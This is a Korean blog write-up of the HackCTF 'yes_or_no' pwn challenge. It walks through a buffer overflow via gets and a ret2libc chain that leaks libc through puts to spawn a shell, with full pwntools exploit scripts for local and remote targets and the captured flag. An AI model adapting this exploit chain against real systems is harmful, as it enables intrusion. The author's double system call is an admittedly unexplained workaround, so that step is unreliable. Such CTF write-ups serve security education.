libc 버전 관련해서 생각보다 짜증나는 문제였음...
ldd 명령어와 pwntools에서도 libc 파일을 고를 수 있음을 잊지 말자!!
→ System을 두번 호출해야 하는 이유는 아직도 모르겠다...
→ 한번 호출해도 system에는 잘 들어간다... 하지만 system을 돌다가 갑자기 SIGSEGV 오류 뜨면서 죽어버린다... 왤까?
NX → Shellcode 실행 불가
38번째 줄 gets를 이용해서 BOF를 발생시켜야 한다.
RTL기법을 사용해서 Libc leak을 진행하고 system('/bin/sh')를 실행시키는 문제인 것 같다.
우선 38번째 줄에 접근하기 위한 조건을 알아야 하는데 이는 어셈블리 분석을 통해 알아보도록 하자.
gets가 실행되기 전 cmp문에서 eax 가 어떤 값을 가지는지 알아보면 될 것 같다.
main+237에 breakpoint를 걸어두고 eax 값을 찾자.
우리가 입력받는 값은 s이고 v10 = atoi(s)이다.
즉, s에 0x960000(=9830400)을 넣어주면 될 것 같다.
이 후에는 RTL 기법을 사용하여 libc leak을 진행해주자. exploit의 구현을 정리하면
① puts got를 통해 libc leak을 한다.
② leak된 libc를 바탕으로 system과 /bin/sh의 주소를 읽어온다.
③ system('/bin/sh')을 실행한다.
exploit 코드는 다음과 같다.
from pwn import *
p = process('./yes_or_no')
# p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF('./yes_or_no')
# libc = ELF('./libc-2.27.so')
libc = e.libc
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.sym['main']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()
log.info("binsh_offset :" + hex(binsh_offset))
pop_rdi_ret = 0x00400883
p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")
payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
# pause()
p.sendline(payload)
puts_addr = p.recvline()[:-1]
puts_addr = puts_addr.ljust(8,'\0')
puts_addr = u64(puts_addr)
log.info("puts_addr : " + hex(puts_addr))
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")
payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
# pause()
p.sendline(payload)
p.interactive()
아래에 system을 두번 호출한 이유는 한번만으로는 디버그에서 system이 실행되지만 정확히 system('/bin/sh')이 실행되지 않는다. 원인은 정확히 모르겠는데, 저번에 다른 문제를 풀때도 해당 문제가 발생하여 system을 두번 호출했다.
from pwn import *
# p = process('./yes_or_no')
p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF('./yes_or_no')
libc = ELF('./libc-2.27.so')
# libc = e.libc
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.sym['main']
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next() # https://nroses-taek.tistory.com/188
log.info("binsh_offset :" + hex(binsh_offset))
pop_rdi_ret = 0x00400883
p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")
payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
# pause()
p.sendline(payload)
puts_addr = p.recvline()[:-1]
puts_addr = puts_addr.ljust(8,'\0')
puts_addr = u64(puts_addr)
log.info("puts_addr : " + hex(puts_addr))
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
p.recvuntil('Show me your number~!')
p.sendline('9830400')
p.recvuntil("That's cool. Follow me\n")
payload = ''
payload += 'A' * (10 + 4 + 4)
payload += 'B' * 8
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
# pause()
p.sendline(payload)
p.interactive()
FLAG : HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] BOF_PIE (0) | 2021.08.21 |
---|---|
[HackCTF] Offset (0) | 2021.08.10 |
[HackCTF] Simple Overflow Ver 2 (0) | 2021.08.08 |
[HackCTF] x64 simple_size_BOF (0) | 2021.08.08 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.08.08 |